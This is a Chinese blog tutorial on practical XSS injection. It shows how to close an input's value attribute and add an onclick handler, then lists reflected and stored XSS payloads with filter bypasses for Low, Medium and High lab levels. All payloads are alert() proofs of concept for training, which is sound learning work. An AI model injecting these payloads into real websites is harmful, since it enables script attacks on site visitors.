• XSS攻击(3), 实战XSS注入思路


    XSS注入, XSS实战思路

    一, 可以输入文本或直接在url后面提交参数.

    网页源码:

    <input name=keyword value="">
    
    • 1

    对于这种input标签, 首先可以考虑使用 onclick 等事件来执行js.
    先输入 <> , " , onclick() 等等提交, 查看页面源代码.
    如果输入的符号没有被转义或替换, 说明前面可以闭合, 进一步测试.

    1. 首先考虑用 onclick() 等事件来执行js.

    查看源码:

    <input name=keyword value="<>">
    
    • 1

    输入payload:

    " οnclick="alert(1)
    
    • 1

    查看源码:

    <input name=keyword value="" onclick="alert(1)">
    
    • 1

    这时前面的value被闭合, 后面多了一个事件, 单机文本框即可弹出.

    2. 事件不能用时, 考虑用 因为锚点后面的部分不会作为url提交请求, 但是可以在前端执行.
    • 1
    • 2
    • 3
    • 4
    2, 反射型
    (1) Low: <script>alert(1)</script>
    (2) Medium: name=<scr<script>ipt>alert(1)</script># 或
    (3) High: <img src=l onerror=alert(1)>
    
    • 1
    • 2
    • 3
    3, 存储型
    (1) Low: 留言内容:<script>alert(1)</script>
    (2) Medium: Burp修改: <sc<script>ript>alert(/xss/)</script>,不能直接在页面上处理
    (3) High: txtName参数: <img src=l onerror=alert(1)>
    
    • 1
    • 2
    • 3
  • 相关阅读:
    Mathorcup数学建模竞赛第四届-【妈妈杯】C题:家庭暑假旅游套餐的设计(附MATLAB代码)
    .NET(C#、VB)APP开发——Smobiler平台控件介绍:MediaView
    windows bat 批处理常用命令
    代码随想录算法训练营day50
    c语言:查漏补缺(二)
    8月AI实战:工业视觉缺陷检测
    Ubuntu22.04 交叉编译gcc9.5 for arm
    Linux 常用命令
    深度解析:外贸高手报价时的原则和技巧
    一、BurpSuite基本界面学习
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/133928308